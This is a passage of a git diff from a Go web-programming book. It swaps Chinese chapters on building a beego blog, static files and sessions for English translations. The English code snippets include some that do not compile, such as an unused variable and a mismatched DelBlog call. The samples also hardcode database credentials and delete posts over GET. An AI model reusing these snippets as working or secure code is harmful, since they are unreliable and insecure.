inputs.Get("title") - blog.Content = inputs.Get("content") - blog.Created = time.Now() - models.SaveBlog(blog) - this.Ctx.Redirect(302, "/") - } - -DeleteController - - type DeleteController struct { - beego.Controller - } - - func (this *DeleteController) Get() { - id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) - blog := models.GetBlog(id) - this.Data["Post"] = blog - models.DelBlog(blog) - this.Ctx.Redirect(302, "/") - } - -## model层 - - package models - - import ( - "database/sql" - "github.com/astaxie/beedb" - _ "github.com/ziutek/mymysql/godrv" - "time" - ) - - type Blog struct { - Id int `PK` - Title string - Content string - Created time.Time - } - - func GetLink() beedb.Model { - db, err := sql.Open("mymysql", "blog/astaxie/123456") - if err != nil { - panic(err) - } - orm := beedb.New(db) - return orm - } - - func GetAll() (blogs []Blog) { - db := GetLink() - db.FindAll(&blogs) - return - } - - func GetBlog(id int) (blog Blog) { - db := GetLink() - db.Where("id=?", id).Find(&blog) - return - } - - func SaveBlog(blog Blog) (bg Blog) { - db := GetLink() - db.Save(&blog) - return bg - } - - func DelBlog(blog Blog) { - db := GetLink() - db.Delete(&blog) - return - } - - -## view层 - -layout.tpl - - - - My Blog - - - - - - - {{.LayoutContent}} - - - - -index.tpl - -

Blog posts

- - - -view.tpl - -

{{.Post.Title}}

- {{.Post.Created}}
- - {{.Post.Content}} - -new.tpl - -

New Blog Post

-
- 标题:
- 内容: - -
- -edit.tpl - -

Edit {{.Post.Title}}

- -

New Blog Post

-
- 标题:
- 内容: - - -
- -## links - * [目录]() - * 上一章: [日志和配置设计](<13.4.md>) - * 下一节: [小结](<13.6.md>) +# 13.5 Add, delete and update blogs + +Introduced in front beego framework to achieve the overall concept and the partial implementation of the pseudo- code, which subsections describe through beego build a blog system, including blog browse, add, modify, or delete operation. + +## Blog directory + +Blog directories are as follows: + + /main.go + /views: + /view.tpl + /new.tpl + /layout.tpl + /index.tpl + /edit.tpl + /models/model.go + /controllers: + /index.go + /view.go + /new.go + /delete.go + /edit.go + +## Blog routing + +Blog main routing rules are as follows: + + //Show blog Home + beego.RegisterController("/", &controllers.IndexController{}) + //View blog details + beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{}) + //Create blog Bowen + beego.RegisterController("/new", &controllers.NewController{}) + //Delete Bowen + beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{}) + //Edit Bowen + beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{}) + +## Database structure + +The easiest database design blog information + + CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) + ); + +## Controller + +IndexController: + + type IndexController struct { + beego.Controller + } + + func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplNames = "index.tpl" + } + +ViewController: + + type ViewController struct { + beego.Controller + } + + func (this *ViewController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "view.tpl" + } + +NewController + + type NewController struct { + beego.Controller + } + + func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" + } + + func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") + } + +EditController + + type EditController struct { + beego.Controller + } + + func (this *EditController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" + } + + func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") + } + +DeleteController + + type DeleteController struct { + beego.Controller + } + + func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.DelBlog(id) + this.Ctx.Redirect(302, "/") + } + +## Model layer + + package models + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" + ) + + type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time + } + + func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + return orm + } + + func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return + } + + func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return + } + + func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg + } + + func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return + } + +## View layer + +layout.tpl + + + + My Blog + + + + + + + {{.LayoutContent}} + + + + +index.tpl + +

Blog posts

+ + + +view.tpl + +

{{.Post.Title}}

+ {{.Post.Created}}
+ + {{.Post.Content}} + +new.tpl + +

New Blog Post

+
+ Title:
+ Content + +
+ +edit.tpl + +

Edit {{.Post.Title}}

+ +

New Blog Post

+
+ Title:
+ Content + + +
+ +## Links + +- [Directory](preface.md) +- Previous section: [Logs and configurations](13.4.md) +- Next section: [Summary](13.6.md) diff --git a/en/eBook/13.5.md b/en/13.5.md~380a8ee74c41759d8189ad553423467994187253 similarity index 63% rename from en/eBook/13.5.md rename to en/13.5.md~380a8ee74c41759d8189ad553423467994187253 index acf2de14..fa0f620b 100644 --- a/en/eBook/13.5.md +++ b/en/13.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -1,44 +1,43 @@ -# 13.5 Add, delete and update blogs +# 13.5 实现博客的增删改 -Introduced in front beego framework to achieve the overall concept and the partial implementation of the pseudo- code, which subsections describe through beego build a blog system, including blog browse, add, modify, or delete operation. +前面介绍了beego框架实现的整体构思以及部分实现的伪代码,这小节介绍通过beego建立一个博客系统,包括博客浏览、添加、修改、删除等操作。 +## 博客目录 +博客目录如下所示: -## Blog directory + . + ├── controllers + │   ├── delete.go + │   ├── edit.go + │   ├── index.go + │   ├── new.go + │   └── view.go + ├── main.go + ├── models + │   └── model.go + └── views + ├── edit.tpl + ├── index.tpl + ├── layout.tpl + ├── new.tpl + └── view.tpl -Blog directories are as follows: +## 博客路由 +博客主要的路由规则如下所示: - /main.go - /views: - /view.tpl - /new.tpl - /layout.tpl - /index.tpl - /edit.tpl - /models/model.go - /controllers: - /index.go - /view.go - /new.go - /delete.go - /edit.go + //显示博客首页 + beego.Router("/", &controllers.IndexController{}) + //查看博客详细信息 + beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) + //新建博客博文 + beego.Router("/new", &controllers.NewController{}) + //删除博文 + beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) + //编辑博文 + beego.Router("/edit/:id([0-9]+)", &controllers.EditController{}) -## Blog routing -Blog main routing rules are as follows: - - //Show blog Home - beego.RegisterController("/", &controllers.IndexController{}) - //View blog details - beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{}) - //Create blog Bowen - beego.RegisterController("/new", &controllers.NewController{}) - //Delete Bowen - beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{}) - //Edit Bowen - beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{}) - -## Database structure - -The easiest database design blog information +## 数据库结构 +数据库设计最简单的博客信息 CREATE TABLE entries ( id INT AUTO_INCREMENT, @@ -48,8 +47,7 @@ The easiest database design blog information primary key (id) ); -## Controller - +## 控制器 IndexController: type IndexController struct { @@ -69,8 +67,7 @@ ViewController: } func (this *ViewController) Get() { - inputs := this.Input() - id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) this.Data["Post"] = models.GetBlog(id) this.Layout = "layout.tpl" this.TplNames = "view.tpl" @@ -104,11 +101,10 @@ EditController } func (this *EditController) Get() { - inputs := this.Input() - id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) this.Data["Post"] = models.GetBlog(id) this.Layout = "layout.tpl" - this.TplNames = "new.tpl" + this.TplNames = "edit.tpl" } func (this *EditController) Post() { @@ -129,12 +125,14 @@ DeleteController } func (this *DeleteController) Get() { - id, _ := strconv.Atoi(this.Ctx.Params[":id"]) - this.Data["Post"] = models.DelBlog(id) + id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) + blog := models.GetBlog(id) + this.Data["Post"] = blog + models.DelBlog(blog) this.Ctx.Redirect(302, "/") } -## Model layer +## model层 package models @@ -185,7 +183,8 @@ DeleteController return } -## View layer + +## view层 layout.tpl @@ -237,8 +236,8 @@ new.tpl

New Blog Post

- Title:
- Content + 标题:
+ 内容:
@@ -248,14 +247,13 @@ edit.tpl

New Blog Post

- Title:
- Content + 标题:
+ 内容:
-## Links - -- [Directory](preface.md) -- Previous section: [Logs and configurations](13.4.md) -- Next section: [Summary](13.6.md) +## links + * [目录]() + * 上一章: [日志和配置设计](<13.4.md>) + * 下一节: [小结](<13.6.md>) diff --git a/en/13.6.md b/en/13.6.md index 209b3f29..66264355 100644 --- a/en/13.6.md +++ b/en/13.6.md @@ -1,7 +1,9 @@ -# 13.6 小结 -这一章我们主要介绍了如何实现一个基础的Go语言框架,框架包含有路由设计,由于Go内置的http包中路由的一些不足点,我们设计了动态路由规则,然后介绍了MVC模式中的Controller设计,controller实现了REST的实现,这个主要思路来源于tornado框架,然后设计实现了模板的layout以及自动化渲染等技术,主要采用了Go内置的模板引擎,最后我们介绍了一些辅助的日志、配置等信息的设计,通过这些设计我们实现了一个基础的框架beego,目前该框架已经开源在github,最后我们通过beego实现了一个博客系统,通过实例代码详细的展现了如何快速的开发一个站点。 - -## links - * [目录]() - * 上一章: [实现博客的增删改](<13.5.md>) - * 下一节: [扩展Web框架](<14.0.md>) \ No newline at end of file +# 13.6 Summary + +In this chapter we describe how to implement a major foundation of the Go language framework, which includes routing design due to the built-in http Go package routing some shortcomings, we have designed a dynamic routing rule, and then introduces the MVC pattern Controller design, controller implements the REST implementation, the main ideas from the tornado frame, and then design and implement the template layout and automated rendering technology, mainly using the Go built-in template engine, and finally we introduce some auxiliary logs, configuration, etc. information design, through these designs we implemented a basic framework beego, present the framework has been open in GitHub, finally we beego implemented a blog system, through a detailed example code demonstrates how to quickly develop a site. + +## Links + +- [Directory](preface.md) +- Previous section: [Add, delete and update blogs](13.5.md) +- Next chapter: [Develop web framework](14.0.md) diff --git a/en/13.6.md~380a8ee74c41759d8189ad553423467994187253 b/en/13.6.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..bd93d437 --- /dev/null +++ b/en/13.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,7 @@ +# 13.6 小结 +这一章我们主要介绍了如何实现一个基础的Go语言框架,框架包含有路由设计,由于Go内置的http包中路由的一些不足点,我们设计了动态路由规则,然后介绍了MVC模式中的Controller设计,controller实现了REST的实现,这个主要思路来源于tornado框架,然后设计实现了模板的layout以及自动化渲染等技术,主要采用了Go内置的模板引擎,最后我们介绍了一些辅助的日志、配置等信息的设计,通过这些设计我们实现了一个基础的框架beego,目前该框架已经开源在github,最后我们通过beego实现了一个博客系统,通过实例代码详细的展现了如何快速的开发一个站点。 + +## links + * [目录]() + * 上一章: [实现博客的增删改](<13.5.md>) + * 下一节: [扩展Web框架](<14.0.md>) \ No newline at end of file diff --git a/en/14.0.md b/en/14.0.md index a080b8f9..04365d05 100644 --- a/en/14.0.md +++ b/en/14.0.md @@ -1,12 +1,11 @@ -# 14 扩展Web框架 -第十三章介绍了如何开发一个Web框架,通过介绍MVC、路由、日志处理、配置处理完成了一个基本的框架系统,但是一个好的框架需要一些方便的辅助工具来快速的开发Web,那么我们这一章将就如何提供一些快速开发Web的工具进行介绍,第一小节介绍如何处理静态文件,如何利用现有的twitter开源的bootstrap进行快速的开发美观的站点,第二小节介绍如何利用前面介绍的session来进行用户登录处理,第三小节介绍如何方便的输出表单、这些表单如何进行数据验证,如何快速的结合model进行数据的增删改操作,第四小节介绍如何进行一些用户认证,包括http basic认证、http digest认证,第五小节介绍如何利用前面介绍的i18n支持多语言的应用开发。第六小节介绍了如何集成Go的pprof包用于性能调试。 - -通过本章的扩展,beego框架将具有快速开发Web的特性,最后我们将讲解如何利用这些扩展的特性扩展开发第十三章开发的博客系统,通过开发一个完整、美观的博客系统让读者了解beego开发带给你的快速。 - -## 目录 -![](images/navi14.png?raw=true) - -## links - * [目录]() - * 上一章: [第十三章总结](<13.6.md>) - * 下一节: [静态文件支持](<14.1.md>) \ No newline at end of file +# 14 Develop web framework + +Chapter XIII describes how to develop a Web framework, by introducing the MVC, routing, log processing, the configuration process is completed a basic framework for the system, but a good framework requires some auxiliary tools to facilitate rapid development of Web, then we this chapter will provide some quick how to develop Web-based tools are introduced, the first section explains how to deal with static files, how to use existing open source twitter bootstrap for rapid development of beautiful sites, the second section describes how to use the previously described the session for user log in process, and the third section describes how convenient output forms that how data validation, how fast the data binding model for CRUD operations, the fourth section describes how to perform some user authentication, including http basic certification, http digest authentication, the fifth section describes how to use the previously described i18n support multi-language application development. + +In this chapter expansion, beego framework will have rapid development of Web properties, and finally we will explain how to use the features of these extensions extension development blog system developed in Chapter XIII, through the development of a complete, beautiful blog system allows readers to understand beego development brings you fast. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 13 summary](13.6.md) +- Next section: [Static files](14.1.md) diff --git a/en/14.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..0ad5e867 --- /dev/null +++ b/en/14.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,12 @@ +# 14 扩展Web框架 +第十三章介绍了如何开发一个Web框架,通过介绍MVC、路由、日志处理、配置处理完成了一个基本的框架系统,但是一个好的框架需要一些方便的辅助工具来快速的开发Web,那么我们这一章将就如何提供一些快速开发Web的工具进行介绍,第一小节介绍如何处理静态文件,如何利用现有的twitter开源的bootstrap进行快速的开发美观的站点,第二小节介绍如何利用前面介绍的session来进行用户登录处理,第三小节介绍如何方便的输出表单、这些表单如何进行数据验证,如何快速的结合model进行数据的增删改操作,第四小节介绍如何进行一些用户认证,包括http basic认证、http digest认证,第五小节介绍如何利用前面介绍的i18n支持多语言的应用开发。第六小节介绍了如何集成Go的pprof包用于性能调试。 + +通过本章的扩展,beego框架将具有快速开发Web的特性,最后我们将讲解如何利用这些扩展的特性扩展开发第十三章开发的博客系统,通过开发一个完整、美观的博客系统让读者了解beego开发带给你的快速。 + +## 目录 +![](images/navi14.png?raw=true) + +## links + * [目录]() + * 上一章: [第十三章总结](<13.6.md>) + * 下一节: [静态文件支持](<14.1.md>) \ No newline at end of file diff --git a/en/14.1.md b/en/14.1.md index 9dfc2e0e..125b7761 100644 --- a/en/14.1.md +++ b/en/14.1.md @@ -1,76 +1,79 @@ -# 14.1 静态文件支持 -我们在前面已经讲过如何处理静态文件,这小节我们详细的介绍如何在beego里面设置和使用静态文件。通过再介绍一个twitter开源的html、css框架bootstrap,无需大量的设计工作就能够让你快速地建立一个漂亮的站点。 - -## beego静态文件实现和设置 -Go的net/http包中提供了静态文件的服务,`ServeFile`和`FileServer`等函数。beego的静态文件处理就是基于这一层处理的,具体的实现如下所示: - - //static file server - for prefix, staticDir := range StaticDir { - if strings.HasPrefix(r.URL.Path, prefix) { - file := staticDir + r.URL.Path[len(prefix):] - http.ServeFile(w, r, file) - w.started = true - return - } - } - -StaticDir里面保存的是相应的url对应到静态文件所在的目录,因此在处理URL请求的时候只需要判断对应的请求地址是否包含静态处理开头的url,如果包含的话就采用http.ServeFile提供服务。 - -举例如下: - - beego.StaticDir["/asset"] = "/static" - -那么请求url如`http://www.beego.me/asset/bootstrap.css`就会请求`/static/bootstrap.css`来提供反馈给客户端。 - -## bootstrap集成 -Bootstrap是Twitter推出的一个开源的用于前端开发的工具包。对于开发者来说,Bootstrap是快速开发Web应用程序的最佳前端工具包。它是一个CSS和HTML的集合,它使用了最新的HTML5标准,给你的Web开发提供了时尚的版式,表单,按钮,表格,网格系统等等。 - -- 组件 -  Bootstrap中包含了丰富的Web组件,根据这些组件,可以快速的搭建一个漂亮、功能完备的网站。其中包括以下组件: -  下拉菜单、按钮组、按钮下拉菜单、导航、导航条、面包屑、分页、排版、缩略图、警告对话框、进度条、媒体对象等 -- Javascript插件 -  Bootstrap自带了13个jQuery插件,这些插件为Bootstrap中的组件赋予了“生命”。其中包括: -  模式对话框、标签页、滚动条、弹出框等。 -- 定制自己的框架代码 -  可以对Bootstrap中所有的CSS变量进行修改,依据自己的需求裁剪代码。 - -![](images/14.1.bootstrap.png?raw=true) - -图14.1 bootstrap站点 - -接下来我们利用bootstrap集成到beego框架里面来,快速的建立一个漂亮的站点。 - -1. 首先把下载的bootstrap目录放到我们的项目目录,取名为static,如下截图所示 - - ![](images/14.1.bootstrap2.png?raw=true) - - 图14.2 项目中静态文件目录结构 - -2. 因为beego默认设置了StaticDir的值,所以如果你的静态文件目录是static的话就无须再增加了: - - StaticDir["/static"] = "static" - -3. 模板中使用如下的地址就可以了: - - //css文件 - - - //js文件 - - - //图片文件 - - -上面可以实现把bootstrap集成到beego中来,如下展示的图就是集成进来之后的展现效果图: - -![](images/14.1.bootstrap3.png?raw=true) - -图14.3 构建的基于bootstrap的站点界面 - -这些模板和格式bootstrap官方都有提供,这边就不再重复贴代码,大家可以上bootstrap官方网站学习如何编写模板。 - - -## links - * [目录]() - * 上一节: [扩展Web框架](<14.0.md>) - * 下一节: [Session支持](<14.2.md>) \ No newline at end of file +# 14.1 Static files + +As we have already talked about how to deal with static files, this section we detail how to set up and use in beego static files inside. By then introduce a twitter open source html, css framework bootstrap, without a lot of design work we can let you quickly create a beautiful site. + +## Beego static files and settings to achieve + +Go's net/ http package provides a static file serving, `ServeFile` and `FileServer` other functions. beego static file processing is handled based on this layer, the specific implementation is as follows: + + //static file server + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } + } + +StaticDir is stored inside the corresponding URL corresponds to a static file directory, so handle URL requests when the request need only determine whether the address corresponding to the beginning of the process contains static URL, if included on the use http.ServeFile provide services. + +Examples are as follows: + + beego.StaticDir["/asset"] = "/static" + +Example. Then the request url `http://www.beego.me/asset/bootstrap.css` will request `/static/bootstrap.css` for the client. + +## Bootstrap integration + +Bootstrap is Twitter launched an open source toolkit for front-end development. For developers, Bootstrap is the rapid development of the best front-end Web application toolkit. It is a collection of CSS and HTML, it uses the latest HTML5 standard, to your Web development offers stylish typography, forms, buttons, tables, grids, systems, etc. + +- Components +Bootstrap contains a wealth of Web components, according to these components, you can quickly build a beautiful, fully functional website. Which includes the following components: +Pull-down menus, buttons, groups, buttons drop-down menus, navigation, navigation bar, bread crumbs, pagination, layout, thumbnails, warning dialog, progress bars, and other media objects +- JavaScript plugin +Bootstrap comes with 13 jQuery plug-ins for the Bootstrap a component gives"life." Including: +Modal dialog, tab, scroll bars, pop-up box and so on. +- Customize your own framework code +Bootstrap in can modify all CSS variables, according to their own needs clipping code. + +![](images/14.1.bootstrap.png?raw=true) + +Figure 14.1 bootstrap site + +Next, we use the bootstrap into beego frame inside, quickly create a beautiful site. + +1. First to download the bootstrap directory into our project directory, named as static, as shown in the screenshot. + + ![](images/14.1.bootstrap2.png?raw=true) + + Figure 14.2 Project static file directory structure + +2. Because beego default values ​​set StaticDir, so if your static files directory is static, then you need not go any further: + + StaticDir["/static"] = "static" + +3. templates use the following address on it: + + // css file + + + // js file + + + // Picture files + + +The above can be achieved to bootstrap into beego in the past, as demonstrated in Figure is the integration of the show came after renderings: + +![](images/14.1.bootstrap3.png?raw=true) + +Figure 14.3 Construction site interface based bootstrap + +These templates and formats bootstrap official has to offer will not be repeated here paste code, we can bootstrap on the official website to learn how to write templates. + +## Links + +- [Directory](preface.md) +- Previous section: [Develop web framework](14.0.md) +- Next section: [Session](14.2.md) diff --git a/en/14.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..81b0ce28 --- /dev/null +++ b/en/14.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,76 @@ +# 14.1 静态文件支持 +我们在前面已经讲过如何处理静态文件,这小节我们详细的介绍如何在beego里面设置和使用静态文件。通过再介绍一个twitter开源的html、css框架bootstrap,无需大量的设计工作就能够让你快速地建立一个漂亮的站点。 + +## beego静态文件实现和设置 +Go的net/http包中提供了静态文件的服务,`ServeFile`和`FileServer`等函数。beego的静态文件处理就是基于这一层处理的,具体的实现如下所示: + + //static file server + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } + } + +StaticDir里面保存的是相应的url对应到静态文件所在的目录,因此在处理URL请求的时候只需要判断对应的请求地址是否包含静态处理开头的url,如果包含的话就采用http.ServeFile提供服务。 + +举例如下: + + beego.StaticDir["/asset"] = "/static" + +那么请求url如`http://www.beego.me/asset/bootstrap.css`就会请求`/static/bootstrap.css`来提供反馈给客户端。 + +## bootstrap集成 +Bootstrap是Twitter推出的一个开源的用于前端开发的工具包。对于开发者来说,Bootstrap是快速开发Web应用程序的最佳前端工具包。它是一个CSS和HTML的集合,它使用了最新的HTML5标准,给你的Web开发提供了时尚的版式,表单,按钮,表格,网格系统等等。 + +- 组件 +  Bootstrap中包含了丰富的Web组件,根据这些组件,可以快速的搭建一个漂亮、功能完备的网站。其中包括以下组件: +  下拉菜单、按钮组、按钮下拉菜单、导航、导航条、面包屑、分页、排版、缩略图、警告对话框、进度条、媒体对象等 +- Javascript插件 +  Bootstrap自带了13个jQuery插件,这些插件为Bootstrap中的组件赋予了“生命”。其中包括: +  模式对话框、标签页、滚动条、弹出框等。 +- 定制自己的框架代码 +  可以对Bootstrap中所有的CSS变量进行修改,依据自己的需求裁剪代码。 + +![](images/14.1.bootstrap.png?raw=true) + +图14.1 bootstrap站点 + +接下来我们利用bootstrap集成到beego框架里面来,快速的建立一个漂亮的站点。 + +1. 首先把下载的bootstrap目录放到我们的项目目录,取名为static,如下截图所示 + + ![](images/14.1.bootstrap2.png?raw=true) + + 图14.2 项目中静态文件目录结构 + +2. 因为beego默认设置了StaticDir的值,所以如果你的静态文件目录是static的话就无须再增加了: + + StaticDir["/static"] = "static" + +3. 模板中使用如下的地址就可以了: + + //css文件 + + + //js文件 + + + //图片文件 + + +上面可以实现把bootstrap集成到beego中来,如下展示的图就是集成进来之后的展现效果图: + +![](images/14.1.bootstrap3.png?raw=true) + +图14.3 构建的基于bootstrap的站点界面 + +这些模板和格式bootstrap官方都有提供,这边就不再重复贴代码,大家可以上bootstrap官方网站学习如何编写模板。 + + +## links + * [目录]() + * 上一节: [扩展Web框架](<14.0.md>) + * 下一节: [Session支持](<14.2.md>) \ No newline at end of file diff --git a/en/14.2.md b/en/14.2.md index e6072ef2..33774a29 100644 --- a/en/14.2.md +++ b/en/14.2.md @@ -1,103 +1,105 @@ -# 14.2 Session支持 -第六章的时候我们介绍过如何在Go语言中使用session,也实现了一个sessionManger,beego框架基于sessionManager实现了方便的session处理功能。 - -## session集成 -beego中主要有以下的全局变量来控制session处理: - - //related to session - SessionOn bool // 是否开启session模块,默认不开启 - SessionProvider string // session后端提供处理模块,默认是sessionManager支持的memory - SessionName string // 客户端保存的cookies的名称 - SessionGCMaxLifetime int64 // cookies有效期 - - GlobalSessions *session.Manager //全局session控制器 - -当然上面这些变量需要初始化值,也可以按照下面的代码来配合配置文件以设置这些值: - - if ar, err := AppConfig.Bool("sessionon"); err != nil { - SessionOn = false - } else { - SessionOn = ar - } - if ar := AppConfig.String("sessionprovider"); ar == "" { - SessionProvider = "memory" - } else { - SessionProvider = ar - } - if ar := AppConfig.String("sessionname"); ar == "" { - SessionName = "beegosessionID" - } else { - SessionName = ar - } - if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { - int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) - SessionGCMaxLifetime = int64val - } else { - SessionGCMaxLifetime = 3600 - } - -在beego.Run函数中增加如下代码: - - if SessionOn { - GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) - go GlobalSessions.GC() - } - -这样只要SessionOn设置为true,那么就会默认开启session功能,独立开一个goroutine来处理session。 - -为了方便我们在自定义Controller中快速使用session,作者在`beego.Controller`中提供了如下方法: - - func (c *Controller) StartSession() (sess session.Session) { - sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) - return - } - -## session使用 -通过上面的代码我们可以看到,beego框架简单地继承了session功能,那么在项目中如何使用呢? - -首先我们需要在应用的main入口处开启session: - - beego.SessionOn = true - - -然后我们就可以在控制器的相应方法中如下所示的使用session了: - - func (this *MainController) Get() { - var intcount int - sess := this.StartSession() - count := sess.Get("count") - if count == nil { - intcount = 0 - } else { - intcount = count.(int) - } - intcount = intcount + 1 - sess.Set("count", intcount) - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.Data["Count"] = intcount - this.TplNames = "index.tpl" - } - -上面的代码展示了如何在控制逻辑中使用session,主要分两个步骤: - -1. 获取session对象 - - //获取对象,类似PHP中的session_start() - sess := this.StartSession() - -2. 使用session进行一般的session值操作 - - //获取session值,类似PHP中的$_SESSION["count"] - sess.Get("count") - - //设置session值 - sess.Set("count", intcount) - -从上面代码可以看出基于beego框架开发的应用中使用session相当方便,基本上和PHP中调用`session_start()`类似。 - - -## links - * [目录]() - * 上一节: [静态文件支持](<14.1.md>) - * 下一节: [表单及验证支持](<14.3.md>) \ No newline at end of file +# 14.2 Session + +Chapter VI, when we saw how to use the Go language session, also achieved a sessionManger, beego sessionManager based framework to achieve a convenient session handling functions. + +## Session integration +beego mainly in the following global variables to control the session handling: + + // related to session + SessionOn bool // whether to open the session module, the default is not open + SessionProvider string // session backend processing module provided, the default is sessionManager supported memory + SessionName string // client name saved in cookies + SessionGCMaxLifetime int64 // cookies validity + + GlobalSessions *session.Manager// global session controller + +Of course, the above values of these variables need to be initialized, you can also follow the code to match the configuration file to set these values: + + if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false + } else { + SessionOn = ar + } + if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" + } else { + SessionProvider = ar + } + if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" + } else { + SessionName = ar + } + if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val + } else { + SessionGCMaxLifetime = 3600 + } + +In beego.Run function to add the following code: + + if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() + } + +So long SessionOn set to true, then it will open the session by default function to open an independent goroutine to handle session. + +In order to facilitate our custom Controller quickly using session, the author `beego.Controller` provides the following methods: + + func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return + } + +## Session using + +Through the above code we can see, beego framework simply inherit the session function, then how to use it in your project ? + +First, we need to apply the main entrance open session: + + beego.SessionOn = true + + +We can then corresponding method in the controller to use the session as follows: the + + func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" + } + +The above code shows how to use the control logic session, mainly divided into two steps: + +1. Get session object + + // Get the object, similar in PHP session_start() + sess:= this.StartSession() + +2. to use the session for general session value operation + + // Get the session values , similar in PHP $ _SESSION ["count"] + sess.Get("count") + + // Set the session value + sess.Set("count", intcount) + +As can be seen from the above code beego framework based applications developed using the session quite easy, basically, and PHP to call `session_start()` similar. + +## Links + +- [Directory](preface.md) +- Previous section: [Static files](14.1.md) +- Next section: [Form](14.3.md) diff --git a/en/14.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..64353031 --- /dev/null +++ b/en/14.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,103 @@ +# 14.2 Session支持 +第六章的时候我们介绍过如何在Go语言中使用session,也实现了一个sessionManger,beego框架基于sessionManager实现了方便的session处理功能。 + +## session集成 +beego中主要有以下的全局变量来控制session处理: + + //related to session + SessionOn bool // 是否开启session模块,默认不开启 + SessionProvider string // session后端提供处理模块,默认是sessionManager支持的memory + SessionName string // 客户端保存的cookies的名称 + SessionGCMaxLifetime int64 // cookies有效期 + + GlobalSessions *session.Manager //全局session控制器 + +当然上面这些变量需要初始化值,也可以按照下面的代码来配合配置文件以设置这些值: + + if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false + } else { + SessionOn = ar + } + if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" + } else { + SessionProvider = ar + } + if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" + } else { + SessionName = ar + } + if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, 